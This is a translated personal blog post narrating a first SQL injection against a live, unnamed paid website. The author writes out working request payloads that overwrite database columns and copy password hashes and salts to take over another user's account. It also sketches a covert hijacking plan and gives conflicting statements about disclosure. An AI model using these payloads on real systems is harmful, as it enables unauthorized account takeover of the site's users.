My first hack: a site that allows you to set any user password

Recently, I found an interesting vulnerability that allows any user to set a specific site to any password. Cool, yeah?



It was funny, and I thought I could write an interesting article.



You stumbled upon it.







Note: the author of the translated article is not an information security specialist, and this is his first excursion into the world of SQL injection. He asks to be "condescending to his naivety."



Warning: the author of the translated article will not disclose the site with this vulnerability. Not because he informed the owner about it and is bound by silence, but because he wants to preserve vulnerability for himself. If you figure this site out, please keep your mouth shut (tsyts).



You know, this is how you sometimes open a website in the toolkit for a developer, examine minified code and network requests without any purpose. And suddenly you notice something is wrong here. Not at all like that. So I did something similar with the user profile page on one of the sites and noticed that when you turn on and off the notification of receipt, the page sends a network request:



/api/users?email=no
      
      





And I thought: I wonder if they have allowed some stupidity? Maybe I should try SQL injection?



I searched the net for “xkcd little bobby tables” to refresh my memory on how to do SQL injections — I don’t like them — and set to work.



In the Chrome network tab, I copied the request (Copy> Copy as fetch) and pasted the result into a fragment so that the request could be played:



 fetch('https://blah.com/api/users', { credentials: 'include', headers: { authorization: 'Bearer blah', 'content-type': 'application/x-www-form-urlencoded', 'sec-fetch-mode': 'cors', 'x-csrf-token': 'blah', }, referrer: 'https://blah.com/blah', referrerPolicy: 'no-referrer-when-downgrade', body: 'email=no', // < -- The bit we're interested in method: 'POST', mode: 'cors', });
      
      





The rest of the article is devoted to fussing with the body



line - it is a transport for sending instructions to the server.



First, I tried to change my last name by setting the value in the lastName



column, focusing simply on its name:



 { // ... body: `email=no', lastName='testing` }
      
      





Nothing interesting happened. Then I did the same with last_name



, then I tried my luck with surname



- and oops! - the page replaced my last name with “testing”.



It was very exciting. I always considered SQL injections a bit of a book legend. The fact that it doesn’t really open the world to code that inserts user input directly into SQL expressions.



A bit of philosophy
Recently, I approach many issues in my life from the point of view of Sturgeon's law: "90% of everything around is rubbish." I realized that if you assume that everything is done correctly, then you lose a lot of opportunities. I think that this newfound disbelief in humanity has given me enough confidence to even take up this experiment.


For all the uninitiated, I’ll explain what the result I discovered means.

I believe something similar happens on the server:



 const userId = someSessionStore.userId; const email = request.body.email; const sql = `UPDATE users SET email = '${email}' WHERE id = '${userId}'`;
      
      





I am sure that their server is written in PHP, but I do not speak this language, so I will write examples in JavaScript. Also, I'm not really good at SQL queries. I have no idea whether the table is called user



, or users



, or user_table



, and it doesn’t matter.



If my user ID is 1234, and I send email = no, then the SQL turns out like this:



 UPDATE users SET email = 'no' WHERE id = '1234'
      
      





And if you replace no



with the string no', surname = 'testing



, then SQL will be valid, but tricky:



 UPDATE users SET email = 'no', surname = 'testing' WHERE id = '1234'
      
      





As you remember, I send requests from a code snippet in developer tools, while I’m on my profile page. So from now on, you can consider the surname field on this page (HTML <input> element) as a small stdout into which you can write information by setting the value for my user account in the surname



column in the database.



Then I wondered if I could copy data from another column to the surname



column?



I did not understand what to do, what to do with SQL, and besides, I did not know which database is used on the server. So after each step, I spent 20 minutes searching the net, and then scratching my head for another 20 minutes, because I regularly inserted my quotation marks in the wrong direction. It is strange that I did not destroy the entire database.



Copying data from one column to another turned out to be a little more difficult, because I wanted to send such a request (it was supposed that there should be a password



column):



 UPDATE users SET email = 'no', surname = password WHERE id = '1234'
      
      





Note that there are no quotes in the code around the password



. As you recall, a super-modern query designer should look like this ...



 const sql = `UPDATE users SET email = '${email}' WHERE id = '${userId}'`;
      
      





... that is, when you try to pass no', surname = password



resulting string will not be a valid SQL query. Instead, I needed the entire injected string to become the second part of the request, and everything that comes after it should be ignored. In particular, I needed to pass WHERE



and; at the end of the SQL statement, as well as comment #



so that the information to the right of it is ignored. Yes, I explain terribly.



In short, I sent a new line:



 { // ... body: `email=no', surname = password WHERE username = 'me@email.com'; #` }
      
      





And the following line will be sent to the database:



 UPDATE users SET email = 'no', surname = password WHERE username = 'me@email.com'; # WHERE id = '1234'
      
      





Please note that the database will ignore WHERE id = '1234'



, since this part comes after comment # (banning commenting in SQL queries seems to be a good way to protect against sloppy code).



I was hoping my password P @ ssword1 would appear in text form in the last name field, but instead I got 00fcdde26dd77af7858a52e3913e6f3330a32b31.



This disappointed me, although it did not surprise me, and I continued to try to copy the hash of my password into the password column of another user.



Let me explain for beginners: when you create an account somewhere and send a new password P @ ssword1, it turns into a hash like 00fcdde26dd77af7858a52e3913e6f3330a32b31 and is stored in the database. Looking at this hash, no one will be able to determine your password (or so they say).



The next time you log in and enter the password Password @ 1, the server hashes it again and compares it with the hash stored in the database. This will confirm compliance without even saving your password.



This means that if I want to give someone the password P @ ssword1, I have to set the value of 00fcdde26dd77af7858a52e3913e6f3330a32b31 in the password column of this user.



Light weight.



I opened a different browser, created a new user with different mail and first of all checked if I could set him the data. Updated the body



property to it:



 { // ... body: `email=no', surname = 'WOOT!!' WHERE username = 'user-two@email.com'; #` }
      
      





I executed the code, updated the page of this user, and, ofiget, it worked! Now he had the surname “WOOT !!” (my grandmother’s maiden name).



Then I tried to set a password for this user:



  // ... body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b31' WHERE username = 'user-two@email.com'; #` }
      
      





And you know what?!?!?



Did not work. Now I did not have access to the second account.

It turned out that I made two mistakes, which took several hours to calculate. The information security experts who are reading this article have already understood what they are talking about and are probably laughing at the fool who writes his “exploits” listed on the first page of Hacking for the Youngest.



Nuuuuuu, in the end I searched the network for “password hash” and noticed that many hashes are longer than my 00fcdde26dd77af7858a52e3913e6f3330a32b31. Looks like he's cropping somewhere.

I tried to enter a piece of text in the surname field and found a limit of 40 characters (it’s good that they set the maxlength attribute for <input> to match the database constraint).



Now I was only interested in the first 40 characters of the hash, which could be much longer. I searched for the query “sql substring”, and soon sent the following request to the server:



 { // ... body: `email=no', surname = SUBSTRING(password, 30, 1000) WHERE username = 'me@email.com'; #` }
      
      





Started with 30 to make sure that the first 10 characters overlap with the last 10 characters 00fcdde26dd77af7858a52e3913e6f3330a32b31. Or the last 9. Or 11.



Lyrical digression
I think when I die and go to hell, they will force me to watch all my mistakes forever in slow motion, one after another. Close-up showing my face while I, over and over again, realize my endless stupidity.


Back to the realities: the characters overlapped, and combining the lines, I got a hash of 64 characters. Again I tried to copy it to the second user:



  { // ... body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b3121a61bce915cc6145fc44453' WHERE username = 'user-two@email.com'; #` }
      
      





And you know what?!?!

Well, you guessed it, because I mentioned two mistakes.



I still could not log in to the second account, but was already close to this (it would be nice for me to know about it at that moment).



I searched for “best practices database password” and found out / remembered such a thing as “salt”.



Using salt means that if you create a hash for P @ ssword1 for one user, then for the other user the same password will give a different hash (another salt is used). Of course, one password hash will not work for two users, the salts are different.



It seems to be smart, but at the same time stupid. In all the examples in the table, there was simply another column called salt. Does this not mean that I need to copy data from two columns, not one? Doesn't it look like a second lock, to which the same key fits?



I changed the query in the hope of copying the value from a column that might be called salt,

to the surname column:



  { // ... body: `email=no', surname = salt WHERE username = 'myemail@email.com'; #` }
      
      





A random set of characters appeared in the surname field, a good sign. To get what turned out to be a 64 character salt, I used SUBSTRING again.



Everything was ready. I have a password hash and the salt that was used to create it, I just need to copy them to another user. And I sent my last network request that evening:



 fetch('https://blah.com/api/users', { credentials: 'include', headers: { authorization: 'Bearer blah', 'content-type': 'application/x-www-form-urlencoded', 'sec-fetch-mode': 'cors', 'x-csrf-token': 'blah', }, referrer: 'https://blah.com/blah', referrerPolicy: 'no-referrer-when-downgrade', body: `email=no', password = '00fcdde26dd77af7858a52e3913e6f3330a32b3121a61bce915cc6145fc44453', salt = '8b7df143d91c716ecfa5fc1730022f6b421b05cedee8fd52b1fc65a96030ad52' WHERE username = 'user-two@gmail.com'; #`, method: 'POST', mode: 'cors', });
      
      





It worked! Now I could log in to the second account with a password from the first account.

Isn't that crazy?



* * *



There were a lot of trial and error, but when I select a real user, I will first get his salt and hash and keep it with me. Then I will replace its salted hash with mine, as described in the article, log in and instantly replace the salt and hash with the original values. I only need to change someone else’s password for a split second while I log in, so they will almost certainly not find me.



In theory, of course. I would never do that.



* * *



You might be wondering if this is a fictional story. Not made up. I changed a few small details to protect myself from the charges, but everything else was as described. And, of course, in fact, I reported the vulnerability to the owners of the site.



But I can't help asking myself if this was just a beginner’s luck. This is literally the first site on which I tried SQL injection, and everything was as if prepared for me, as if I had passed the hacking exam for kids.



The site I described is small, it has few users (34,718). This is a paid service, so for seasoned hackers it is not of interest. And yet it struck me that this was possible.



In short, now I'm hooked on this whole topic with information security. For me, two favorite activities were combined in it: code writing and hooliganism. So googling “information security salaries Australia”, I think I found myself a new job.

Thanks for reading!



PS: the translation of the article tries to preserve the style of the author as much as possible :)



All Articles